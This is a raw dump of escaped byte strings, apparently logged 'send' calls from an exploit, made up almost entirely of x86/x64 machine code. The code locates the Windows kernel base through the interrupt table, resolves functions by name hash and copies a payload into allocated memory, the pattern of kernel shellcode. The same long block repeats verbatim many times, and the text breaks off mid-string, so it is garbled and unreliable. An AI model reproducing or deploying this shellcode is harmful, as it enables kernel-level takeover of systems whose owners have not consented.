0\\xc2I\\xeb\\xf0\\x89\\xd0^Z\\xc2\\x08\\x00XZ_^PV\\x89\\xf0\\x83\\xc6<\\x8b6\\x01\\xc61\\xc0\\x89\\xc1f\\x8bN\\x06f\\x8bF\\x14\\x01\\xc6\\x83\\xc6\\x18\\x85\\xc9t\\x1d\\x8b\\x069\\xf8u\\x07\\x8bF\\x049\\xd0t\\x06\\x83\\xc6(I\\xeb\\xe9\\x8bF\\x0c\\x8bN\\x08^\\x01\\xc6\\xc31\\xf6\\xc3`1\\xc0\\x83\\xf8\\x0ft\\x1e1\\xc9\\x8b<\\x86\\x8b\\x14\\x8e9\\xd7t\\x03Au\\xf3\\x0f\\xb6\\x94\\x03\\x87\\x03\\x00\\x009\\xd1u\\r@\\xeb\\xddA9\\xc8u\\x05a1\\xc0@\\xc3a1\\xc0\\xc3\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\t\\n\\t\\t\\r\\x0e\\x8bL$\\x08`\\xe8\\x00\\x00\\x00\\x00]f\\x81\\xe5\\x00\\xf0\\x89M4\\xe8\\xd9\\x01\\x00\\x00\\xe8C\\x01\\x00\\x00\\xe8\\x7f\\x01\\x00\\x00\\x85\\xc0\\x0f\\x84\\xe3\\x00\\x00\\x00\\x8b]<\\x8bK\\xd8\\xe8\\x17\\x01\\x00\\x00<#t\\r\\x01\\x00\\x00f\\xb8\\x10\\x00\\x8bM8f\\x01A\\x1e\\x8bE\\x10\\x89D$\\x1cah\\x00\\x00\\x00\\x00\\x8b@H9\\xdfu\\x0cL\\x8b\\x86\\x98\\x00\\x00\\x00M\\x85\\xc0t\\x06H\\x83\\xc6\\x08\\xeb\\xd8H\\x83\\xc6\\x08H\\x89u\\xe0H1\\xc9\\xba\\xf0\\x0f\\x00\\x00\\xffU\\xf0H\\x85\\xc0tiI\\x89\\xc1H1\\xc0\\xb9\\x00\\x04\\x00\\x00L\\x89\\xcf\\xf3\\xabL\\x89\\xcfH\\x83\\xc7`H\\x8d5\\x91\\x02\\x00\\x00H1\\xc9f\\xb96\\x02\\xf3\\xa4M\\x89\\tH\\x8b]\\xf8I\\x89Y\\x08H1\\xdfH\\x8b]\\xf0I\\x89Y\\x10H1\\xdfH\\x8b]\\xe8I\\x89Y\\x18H1\\xdfH\\x8b]\\xe0I\\x89Y H1\\xdfA\\x89yDH\\x8bE\\xe0H\\x83\\xc0pI\\x83\\xc1`L\\x89\\x08H\', 0.0)', "('send', 3, b'\\x89\\xecA_A^A]A\\\\^_][\\xc3SRQUH\\x89\\xe5H\\x81\\xec\\x00\\x01\\x00\\x00WH\\x89\\xcfH\\x89\\xd8H\\x89\\x85\\x00\\xff\\xff\\xff\\xe8\\xbb\\x00\\x00\\x00H\\x89\\x85\\x08\\xff\\xff\\xff\\xe8H\\x01\\x00\\x00H\\x89\\x85\\x10\\xff\\xff\\xffH\\x8b\\x85\\x00\\xff\\xff\\xffH\\x8b\\x8d\\x08\\xff\\xff\\xff\\xe8\\x9a\\x01\\x00\\x00H\\x89\\x85\\x18\\xff\\xff\\xffH\\x8b\\x85\\x00\\xff\\xff\\xffH\\x8b\\x8d\\x08\\xff\\xff\\xff\\xe8\\x8f\\x01\\x00\\x00H\\x89\\x85 \\xff\\xff\\xffH\\x8b\\x85\\x00\\xff\\xff\\xffH\\x8b\\x8d\\x08\\xff\\xff\\xff\\xe8\\x84\\x01\\x00\\x00H\\x89\\x85(\\xff\\xff\\xffH\\x8b\\x85\\x00\\xff\\xff\\xffH\\x89\\xf9H\\x8b\\x95 \\xff\\xff\\xffH\\x8b\\x9d\\x10\\xff\\xff\\xff\\xe8\\x0f\\x01\\x00\\x00H\\x89\\x850\\xff\\xff\\xffH\\x8b\\x85(\\xff\\xff\\xffH\\x8b\\x8d0\\xff\\xff\\xff\\xe8U\\x01\\x00\\x00f\\x89\\xc2H\\x8b\\x85\\x00\\xff\\xff\\xffH\\x8b\\x8d\\x18\\xff\\xff\\xff\\xe8I\\x01\\x00\\x00_H\\x81\\xc4\\x00\\x01\\x00\\x00]YZ[\\xc3VWH1\\xf6\\x8bpPEu\\x12H\\x81\\xc6\\x88\\x00\\x00\\x00H1\\xff\\x8b>H\\x01\\xf8_^\\xc3H1\\xc0\\xeb\\xf8VQWH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\x07\\x01\\xc8H\\xff\\xc6\\xeb\\xe7_Y^\\xc3VWRH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xd2\\x8a\\x16\\x01\\xd0H\\xff\\xc6\\xe2\\xecZ_^\\xc3VQWH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\n\\x01\\xc8H\\xff\\xc6H\\xff\\xc6\\xeb\\xe4_Y^\\xc3VH\\x89\\xc6H\\x83\\xc6\\x18H1\\xc0\\x8b\\x06^\\xc3SeH\\x8b\\x04%8\\x00\\x00\\x00H\\x8b@\\x04H\\xc1\\xe8\\x0cH\\xc1\\xe0\\x0cH\\x8b\\x18f\\x81\\xfbMZt\\x08H-\\x00\\x10\\x00\\x00\\xeb\\xee[\\xc3WVQH1\\xffH\\x89\\xc6H1\\xc0\\x8b\\x04\\xbaH\\x01\\xf0\\xe8@\\xff\\xff\\xff9\\xc8t\\x0eH\\xff\\xc7H9\\xdft\\x0b\\xeb\\xe4Y^_\\xc3H\\x89\\xf8\\xeb\\xf7H1\\xc0\\xeb\\xf2VH\\x89\\xc6H1\\xc0\\x8bA\\x1cH\\x01\\xf0^\\xc3VH\\x89\\xc6H1\\xc0\\x8bA H\\x01\\xf0^\\xc3VH\\x89\\xc6H1\\xc0\\x8bA$H\\x01\\xf0^\\xc3H\\xd1\\xe1H\\x01\\xc8f\\x8b\\x00\\xc3H\\x81\\xca\\x00\\x00\\xff\\xffH\\x81\\xf2\\x00\\x00\\xff\\xffH\\xc1\\xe2\\x02H\\x01\\xd1H1\\xd2\\x8b\\x11H\\x01\\xd0\\xc3WVSUATAUAVAWI\\x89\\xe4H\\x81\\xec\\x08\\x01\\x00\\x00I\\x89\\xcfH\\x8d-\\xe0\\xff\\xff\\xfff\\x81\\xe5\\x00\\xf0H\\x89MXH1\\xd2f\\x8bQ\\x02H\\x01\\xcaH;\\x11t\\x06H\\x8dI\\x08\\xeb\\xf5H\\x8dA(H\\x89E4H\\x8bA\\xf0H\\x89E(\\xe8(\\x01\\x00\\x00\\xe8{\\x01\\x00\\x00H\\x85\\xc0\\x0f\\x84\\xed\\x00\\x00\\x00L\\x8bmPEu\\x12H\\x81\\xc6\\x88\\x00\\x00\\x00H1\\xff\\x8b>H\\x01\\xf8_^\\xc3H1\\xc0\\xeb\\xf8VQWH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\x07\\x01\\xc8H\\xff\\xc6\\xeb\\xe7_Y^\\xc3VWRH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xd2\\x8a\\x16\\x01\\xd0H\\xff\\xc6\\xe2\\xecZ_^\\xc3VQWH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\n\\x01\\xc8H\\xff\\xc6H\\xff\\xc6\\xeb\\xe4_Y^\\xc3VH\\x89\\xc6H\\x83\\xc6\\x18H1\\xc0\\x8b\\x06^\\xc3SeH\\x8b\\x04%8\\x00\\x00\\x00H\\x8b@\\x04H\\xc1\\xe8\\x0cH\\xc1\\xe0\\x0cH\\x8b\\x18f\\x81\\xfbMZt\\x08H-\\x00\\x10\\x00\\x00\\xeb\\xee[\\xc3WVQH1\\xffH\\x89\\xc6H1\\xc0\\x8b\\x04\\xbaH\\x01\\xf0\\xe8@\\xff\\xff\\xff9\\xc8t\\x0eH\\xff\\xc7H9\\xdft\\x0b\\xeb\\xe4Y^_\\xc3H\\x89\\xf8\\xeb\\xf7H1\\xc0\\xeb\\xf2VH\\x89\\xc6H1\\xc0\\x8bA\\x1cH\\x01\\xf0^\\xc3VH\\x89\\xc6H1\\xc0\\x8bA H\\x01\\xf0^\\xc3VH\\x89\\xc6H1\\xc0\\x8bA$H\\x01\\xf0^\\xc3H\\xd1\\xe1H\\x01\\xc8f\\x8b\\x00\\xc3H\\x81\\xca\\x00\\x00\\xff\\xffH\\x81\\xf2\\x00\\x00\\xff\\xffH\\xc1\\xe2\\x02H\\x01\\xd1H1\\xd2\\x8b\\x11H\\x01\\xd0\\xc3WVSUATAUAVAWI\\x89\\xe4H\\x81\\xec\\x08\\x01\\x00\\x00I\\x89\\xcfH\\x8d-\\xe0\\xff\\xff\\xfff\\x81\\xe5\\x00\\xf0H\\x89MXH1\\xd2f\\x8bQ\\x02H\\x01\\xcaH;\\x11t\\x06H\\x8dI\\x08\\xeb\\xf5H\\x8dA(H\\x89E4H\\x8bA\\xf0H\\x89E(\\xe8(\\x01\\x00\\x00\\xe8{\\x01\\x00\\x00H\\x85\\xc0\\x0f\\x84\\xed\\x00\\x00\\x00L\\x8bmPEu\\x12H\\x81\\xc6\\x88\\x00\\x00\\x00H1\\xff\\x8b>H\\x01\\xf8_^\\xc3H1\\xc0\\xeb\\xf8VQWH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\x07\\x01\\xc8H\\xff\\xc6\\xeb\\xe7_Y^\\xc3VWRH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xd2\\x8a\\x16\\x01\\xd0H\\xff\\xc6\\xe2\\xecZ_^\\xc3VQWH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\n\\x01\\xc8H\\xff\\xc6H\\xff\\xc6\\xeb\\xe4_Y^\\xc3VH\\x89\\xc6H\\x83\\xc6\\x18H1\\xc0\\x8b\\x06^\\xc3SeH\\x8b\\x04%8\\x00\\x00\\x00H\\x8b@\\x04H\\xc1\\xe8\\x0cH\\xc1\\xe0\\x0cH\\x8b\\x18f\\x81\\xfbMZt\\x08H-\\x00\\x10\\x00\\x00\\xeb\\xee[\\xc3WVQH1\\xffH\\x89\\xc6H1\\xc0\\x8b\\x04\\xbaH\\x01\\xf0\\xe8@\\xff\\xff\\xff9\\xc8t\\x0eH\\xff\\xc7H9\\xdft\\x0b\\xeb\\xe4Y^_\\xc3H\\x89\\xf8\\xeb\\xf7H1\\xc0\\xeb\\xf2VH\\x89\\xc6H1\\xc0\\x8bA\\x1cH\\x01\\xf0^\\xc3VH\\x89\\xc6H1\\xc0\\x8bA H\\x01\\xf0^\\xc3VH\\x89\\xc6H1\\xc0\\x8bA$H\\x01\\xf0^\\xc3H\\xd1\\xe1H\\x01\\xc8f\\x8b\\x00\\xc3H\\x81\\xca\\x00\\x00\\xff\\xffH\\x81\\xf2\\x00\\x00\\xff\\xffH\\xc1\\xe2\\x02H\\x01\\xd1H1\\xd2\\x8b\\x11H\\x01\\xd0\\xc3WVSUATAUAVAWI\\x89\\xe4H\\x81\\xec\\x08\\x01\\x00\\x00I\\x89\\xcfH\\x8d-\\xe0\\xff\\xff\\xfff\\x81\\xe5\\x00\\xf0H\\x89MXH1\\xd2f\\x8bQ\\x02H\\x01\\xcaH;\\x11t\\x06H\\x8dI\\x08\\xeb\\xf5H\\x8dA(H\\x89E4H\\x8bA\\xf0H\\x89E(\\xe8(\\x01\\x00\\x00\\xe8{\\x01\\x00\\x00H\\x85\\xc0\\x0f\\x84\\xed\\x00\\x00\\x00L\\x8bmPEu\\x12H\\x81\\xc6\\x88\\x00\\x00\\x00H1\\xff\\x8b>H\\x01\\xf8_^\\xc3H1\\xc0\\xeb\\xf8VQWH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\x07\\x01\\xc8H\\xff\\xc6\\xeb\\xe7_Y^\\xc3VWRH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xd2\\x8a\\x16\\x01\\xd0H\\xff\\xc6\\xe2\\xecZ_^\\xc3VQWH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\n\\x01\\xc8H\\xff\\xc6H\\xff\\xc6\\xeb\\xe4_Y^\\xc3VH\\x89\\xc6H\\x83\\xc6\\x18H1\\xc0\\x8b\\x06^\\xc3SeH\\x8b\\x04%8\\x00\\x00\\x00H\\x8b@\\x04H\\xc1\\xe8\\x0cH\\xc1\\xe0\\x0cH\\x8b\\x18f\\x81\\xfbMZt\\x08H-\\x00\\x10\\x00\\x00\\xeb\\xee[\\xc3WVQH1\\xffH\\x89\\xc6H1\\xc0\\x8b\\x04\\xbaH\\x01\\xf0\\xe8@\\xff\\xff\\xff9\\xc8t\\x0eH\\xff\\xc7H9\\xdft\\x0b\\xeb\\xe4Y^_\\xc3H\\x89\\xf8\\xeb\\xf7H1\\xc0\\xeb\\xf2VH\\x89\\xc6H1\\xc0\\x8bA\\x1cH\\x01\\xf0^\\xc3VH\\x89\\xc6H1\\xc0\\x8bA H\\x01\\xf0^\\xc3VH\\x89\\xc6H1\\xc0\\x8bA$H\\x01\\xf0^\\xc3H\\xd1\\xe1H\\x01\\xc8f\\x8b\\x00\\xc3H\\x81\\xca\\x00\\x00\\xff\\xffH\\x81\\xf2\\x00\\x00\\xff\\xffH\\xc1\\xe2\\x02H\\x01\\xd1H1\\xd2\\x8b\\x11H\\x01\\xd0\\xc3WVSUATAUAVAWI\\x89\\xe4H\\x81\\xec\\x08\\x01\\x00\\x00I\\x89\\xcfH\\x8d-\\xe0\\xff\\xff\\xfff\\x81\\xe5\\x00\\xf0H\\x89MXH1\\xd2f\\x8bQ\\x02H\\x01\\xcaH;\\x11t\\x06H\\x8dI\\x08\\xeb\\xf5H\\x8dA(H\\x89E4H\\x8bA\\xf0H\\x89E(\\xe8(\\x01\\x00\\x00\\xe8{\\x01\\x00\\x00H\\x85\\xc0\\x0f\\x84\\xed\\x00\\x00\\x00L\\x8bmPEu\\x12H\\x81\\xc6\\x88\\x00\\x00\\x00H1\\xff\\x8b>H\\x01\\xf8_^\\xc3H1\\xc0\\xeb\\xf8VQWH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\x07\\x01\\xc8H\\xff\\xc6\\xeb\\xe7_Y^\\xc3VWRH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xd2\\x8a\\x16\\x01\\xd0H\\xff\\xc6\\xe2\\xecZ_^\\xc3VQWH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\n\\x01\\xc8H\\xff\\xc6H\\xff\\xc6\\xeb\\xe4_Y^\\xc3VH\\x89\\xc6H\\x83\\xc6\\x18H1\\xc0\\x8b\\x06^\\xc3SeH\\x8b\\x04%8\\x00\\x00\\x00H\\x8b@\\x04H\\xc1\\xe8\\x0cH\\xc1\\xe0\\x0cH\\x8b\\x18f\\x81\\xfbMZt\\x08H-\\x00\\x10\\x00\\x00\\xeb\\xee[\\xc3WVQH1\\xffH\\x89\\xc6H1\\xc0\\x8b\\x04\\xbaH\\x01\\xf0\\xe8@\\xff\\xff\\xff9\\xc8t\\x0eH\\xff\\xc7H9\\xdft\\x0b\\xeb\\xe4Y^_\\xc3H\\x89\\xf8\\xeb\\xf7H1\\xc0\\xeb\\xf2VH\\x89\\xc6H1\\xc0\\x8bA\\x1cH\\x01\\xf0^\\xc3VH\\x89\\xc6H1\\xc0\\x8bA H\\x01\\xf0^\\xc3VH\\x89\\xc6H1\\xc0\\x8bA$H\\x01\\xf0^\\xc3H\\xd1\\xe1H\\x01\\xc8f\\x8b\\x00\\xc3H\\x81\\xca\\x00\\x00\\xff\\xffH\\x81\\xf2\\x00\\x00\\xff\\xffH\\xc1\\xe2\\x02H\\x01\\xd1H1\\xd2\\x8b\\x11H\\x01\\xd0\\xc3WVSUATAUAVAWI\\x89\\xe4H\\x81\\xec\\x08\\x01\\x00\\x00I\\x89\\xcfH\\x8d-\\xe0\\xff\\xff\\xfff\\x81\\xe5\\x00\\xf0H\\x89MXH1\\xd2f\\x8bQ\\x02H\\x01\\xcaH;\\x11t\\x06H\\x8dI\\x08\\xeb\\xf5H\\x8dA(H\\x89E4H\\x8bA\\xf0H\\x89E(\\xe8(\\x01\\x00\\x00\\xe8{\\x01\\x00\\x00H\\x85\\xc0\\x0f\\x84\\xed\\x00\\x00\\x00L\\x8bmPEu\\x12H\\x81\\xc6\\x88\\x00\\x00\\x00H1\\xff\\x8b>H\\x01\\xf8_^\\xc3H1\\xc0\\xeb\\xf8VQWH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\x07\\x01\\xc8H\\xff\\xc6\\xeb\\xe7_Y^\\xc3VWRH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xd2\\x8a\\x16\\x01\\xd0H\\xff\\xc6\\xe2\\xecZ_^\\xc3VQWH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\n\\x01\\xc8H\\xff\\xc6H\\xff\\xc6\\xeb\\xe4_Y^\\xc3VH\\x89\\xc6H\\x83\\xc6\\x18H1\\xc0\\x8b\\x06^\\xc3SeH\\x8b\\x04%8\\x00\\x00\\x00H\\x8b@\\x04H\\xc1\\xe8\\x0cH\\xc1\\xe0\\x0cH\\x8b\\x18f\\x81\\xfbMZt\\x08H-\\x00\\x10\\x00\\x00\\xeb\\xee[\\xc3WVQH1\\xffH\\x89\\xc6H1\\xc0\\x8b\\x04\\xbaH\\x01\\xf0\\xe8@\\xff\\xff\\xff9\\xc8t\\x0eH\\xff\\xc7H9\\xdft\\x0b\\xeb\\xe4Y^_\\xc3H\\x89\\xf8\\xeb\\xf7H1\\xc0\\xeb\\xf2VH\\x89\\xc6H1\\xc0\\x8bA\\x1cH\\x01\\xf0^\\xc3VH\\x89\\xc6H1\\xc0\\x8bA H\\x01\\xf0^\\xc3VH\\x89\\xc6H1\\xc0\\x8bA$H\\x01\\xf0^\\xc3H\\xd1\\xe1H\\x01\\xc8f\\x8b\\x00\\xc3H\\x81\\xca\\x00\\x00\\xff\\xffH\\x81\\xf2\\x00\\x00\\xff\\xffH\\xc1\\xe2\\x02H\\x01\\xd1H1\\xd2\\x8b\\x11H\\x01\\xd0\\xc3WVSUATAUAVAWI\\x89\\xe4H\\x81\\xec\\x08\\x01\\x00\\x00I\\x89\\xcfH\\x8d-\\xe0\\xff\\xff\\xfff\\x81\\xe5\\x00\\xf0H\\x89MXH1\\xd2f\\x8bQ\\x02H\\x01\\xcaH;\\x11t\\x06H\\x8dI\\x08\\xeb\\xf5H\\x8dA(H\\x89E4H\\x8bA\\xf0H\\x89E(\\xe8(\\x01\\x00\\x00\\xe8{\\x01\\x00\\x00H\\x85\\xc0\\x0f\\x84\\xed\\x00\\x00\\x00L\\x8bmPEu\\x12H\\x81\\xc6\\x88\\x00\\x00\\x00H1\\xff\\x8b>H\\x01\\xf8_^\\xc3H1\\xc0\\xeb\\xf8VQWH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\x07\\x01\\xc8H\\xff\\xc6\\xeb\\xe7_Y^\\xc3VWRH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xd2\\x8a\\x16\\x01\\xd0H\\xff\\xc6\\xe2\\xecZ_^\\xc3VQWH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\n\\x01\\xc8H\\xff\\xc6H\\xff\\xc6\\xeb\\xe4_Y^\\xc3VH\\x89\\xc6H\\x83\\xc6\\x18H1\\xc0\\x8b\\x06^\\xc3SeH\\x8b\\x04%8\\x00\\x00\\x00H\\x8b@\\x04H\\xc1\\xe8\\x0cH\\xc1\\xe0\\x0cH\\x8b\\x18f\\x81\\xfbMZt\\x08H-\\x00\\x10\\x00\\x00\\xeb\\xee[\\xc3WVQH1\\xffH\\x89\\xc6H1\\xc0\\x8b\\x04\\xbaH\\x01\\xf0\\xe8@\\xff\\xff\\xff9\\xc8t\\x0eH\\xff\\xc7H9\\xdft\\x0b\\xeb\\xe4Y^_\\xc3H\\x89\\xf8\\xeb\\xf7H1\\xc0\\xeb\\xf2VH\\x89\\xc6H1\\xc0\\x8bA\\x1cH\\x01\\xf0^\\xc3VH\\x89\\xc6H1\\xc0\\x8bA H\\x01\\xf0^\\xc3VH\\x89\\xc6H1\\xc0\\x8bA$H\\x01\\xf0^\\xc3H\\xd1\\xe1H\\x01\\xc8f\\x8b\\x00\\xc3H\\x81\\xca\\x00\\x00\\xff\\xffH\\x81\\xf2\\x00\\x00\\xff\\xffH\\xc1\\xe2\\x02H\\x01\\xd1H1\\xd2\\x8b\\x11H\\x01\\xd0\\xc3WVSUATAUAVAWI\\x89\\xe4H\\x81\\xec\\x08\\x01\\x00\\x00I\\x89\\xcfH\\x8d-\\xe0\\xff\\xff\\xfff\\x81\\xe5\\x00\\xf0H\\x89MXH1\\xd2f\\x8bQ\\x02H\\x01\\xcaH;\\x11t\\x06H\\x8dI\\x08\\xeb\\xf5H\\x8dA(H\\x89E4H\\x8bA\\xf0H\\x89E(\\xe8(\\x01\\x00\\x00\\xe8{\\x01\\x00\\x00H\\x85\\xc0\\x0f\\x84\\xed\\x00\\x00\\x00L\\x8bmPEu\\x12H\\x81\\xc6\\x88\\x00\\x00\\x00H1\\xff\\x8b>H\\x01\\xf8_^\\xc3H1\\xc0\\xeb\\xf8VQWH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\x07\\x01\\xc8H\\xff\\xc6\\xeb\\xe7_Y^\\xc3VWRH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xd2\\x8a\\x16\\x01\\xd0H\\xff\\xc6\\xe2\\xecZ_^\\xc3VQWH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\n\\x01\\xc8H\\xff\\xc6H\\xff\\xc6\\xeb\\xe4_Y^\\xc3VH\\x89\\xc6H\\x83\\xc6\\x18H1\\xc0\\x8b\\x06^\\xc3SeH\\x8b\\x04%8\\x00\\x00\\x00H\\x8b@\\x04H\\xc1\\xe8\\x0cH\\xc1\\xe0\\x0cH\\x8b\\x18f\\x81\\xfbMZt\\x08H-\\x00\\x10\\x00\\x00\\xeb\\xee[\\xc3WVQH1\\xffH\\x89\\xc6H1\\xc0\\x8b\\x04\\xbaH\\x01\\xf0\\xe8@\\xff\\xff\\xff9\\xc8t\\x0eH\\xff\\xc7H9\\xdft\\x0b\\xeb\\xe4Y^_\\xc3H\\x89\\xf8\\xeb\\xf7H1\\xc0\\xeb\\xf2VH\\x89\\xc6H1\\xc0\\x8bA\\x1cH\\x01\\xf0^\\xc3VH\\x89\\xc6H1\\xc0\\x8bA H\\x01\\xf0^\\xc3VH\\x89\\xc6H1\\xc0\\x8bA$H\\x01\\xf0^\\xc3H\\xd1\\xe1H\\x01\\xc8f\\x8b\\x00\\xc3H\\x81\\xca\\x00\\x00\\xff\\xffH\\x81\\xf2\\x00\\x00\\xff\\xffH\\xc1\\xe2\\x02H\\x01\\xd1H1\\xd2\\x8b\\x11H\\x01\\xd0\\xc3WVSUATAUAVAWI\\x89\\xe4H\\x81\\xec\\x08\\x01\\x00\\x00I\\x89\\xcfH\\x8d-\\xe0\\xff\\xff\\xfff\\x81\\xe5\\x00\\xf0H\\x89MXH1\\xd2f\\x8bQ\\x02H\\x01\\xcaH;\\x11t\\x06H\\x8dI\\x08\\xeb\\xf5H\\x8dA(H\\x89E4H\\x8bA\\xf0H\\x89E(\\xe8(\\x01\\x00\\x00\\xe8{\\x01\\x00\\x00H\\x85\\xc0\\x0f\\x84\\xed\\x00\\x00\\x00L\\x8bmPEu\\x12H\\x81\\xc6\\x88\\x00\\x00\\x00H1\\xff\\x8b>H\\x01\\xf8_^\\xc3H1\\xc0\\xeb\\xf8VQWH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\x07\\x01\\xc8H\\xff\\xc6\\xeb\\xe7_Y^\\xc3VWRH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xd2\\x8a\\x16\\x01\\xd0H\\xff\\xc6\\xe2\\xecZ_^\\xc3VQWH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\n\\x01\\xc8H\\xff\\xc6H\\xff\\xc6\\xeb\\xe4_Y^\\xc3VH\\x89\\xc6H\\x83\\xc6\\x18H1\\xc0\\x8b\\x06^\\xc3SeH\\x8b\\x04%8\\x00\\x00\\x00H\\x8b@\\x04H\\xc1\\xe8\\x0cH\\xc1\\xe0\\x0cH\\x8b\\x18f\\x81\\xfbMZt\\x08H-\\x00\\x10\\x00\\x00\\xeb\\xee[\\xc3WVQH1\\xffH\\x89\\xc6H1\\xc0\\x8b\\x04\\xbaH\\x01\\xf0\\xe8@\\xff\\xff\\xff9\\xc8t\\x0eH\\xff\\xc7H9\\xdft\\x0b\\xeb\\xe4Y^_\\xc3H\\x89\\xf8\\xeb\\xf7H1\\xc0\\xeb\\xf2VH\\x89\\xc6H1\\xc0\\x8bA\\x1cH\\x01\\xf0^\\xc3VH\\x89\\xc6H1\\xc0\\x8bA H\\x01\\xf0^\\xc3VH\\x89\\xc6H1\\xc0\\x8bA$H\\x01\\xf0^\\xc3H\\xd1\\xe1H\\x01\\xc8f\\x8b\\x00\\xc3H\\x81\\xca\\x00\\x00\\xff\\xffH\\x81\\xf2\\x00\\x00\\xff\\xffH\\xc1\\xe2\\x02H\\x01\\xd1H1\\xd2\\x8b\\x11H\\x01\\xd0\\xc3WVSUATAUAVAWI\\x89\\xe4H\\x81\\xec\\x08\\x01\\x00\\x00I\\x89\\xcfH\\x8d-\\xe0\\xff\\xff\\xfff\\x81\\xe5\\x00\\xf0H\\x89MXH1\\xd2f\\x8bQ\\x02H\\x01\\xcaH;\\x11t\\x06H\\x8dI\\x08\\xeb\\xf5H\\x8dA(H\\x89E4H\\x8bA\\xf0H\\x89E(\\xe8(\\x01\\x00\\x00\\xe8{\\x01\\x00\\x00H\\x85\\xc0\\x0f\\x84\\xed\\x00\\x00\\x00L\\x8bmPEu\\x12H\\x81\\xc6\\x88\\x00\\x00\\x00H1\\xff\\x8b>H\\x01\\xf8_^\\xc3H1\\xc0\\xeb\\xf8VQWH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\x07\\x01\\xc8H\\xff\\xc6\\xeb\\xe7_Y^\\xc3VWRH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xd2\\x8a\\x16\\x01\\xd0H\\xff\\xc6\\xe2\\xecZ_^\\xc3VQWH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\n\\x01\\xc8H\\xff\\xc6H\\xff\\xc6\\xeb\\xe4_Y^\\xc3VH\\x89\\xc6H\\x83\\xc6\\x18H1\\xc0\\x8b\\x06^\\xc3SeH\\x8b\\x04%8\\x00\\x00\\x00H\\x8b@\\x04H\\xc1\\xe8\\x0cH\\xc1\\xe0\\x0cH\\x8b\\x18f\\x81\\xfbMZt\\x08H-\\x00\\x10\\x00\\x00\\xeb\\xee[\\xc3WVQH1\\xffH\\x89\\xc6H1\\xc0\\x8b\\x04\\xbaH\\x01\\xf0\\xe8@\\xff\\xff\\xff9\\xc8t\\x0eH\\xff\\xc7H9\\xdft\\x0b\\xeb\\xe4Y^_\\xc3H\\x89\\xf8\\xeb\\xf7H1\\xc0\\xeb\\xf2VH\\x89\\xc6H1\\xc0\\x8bA\\x1cH\\x01\\xf0^\\xc3VH\\x89\\xc6H1\\xc0\\x8bA 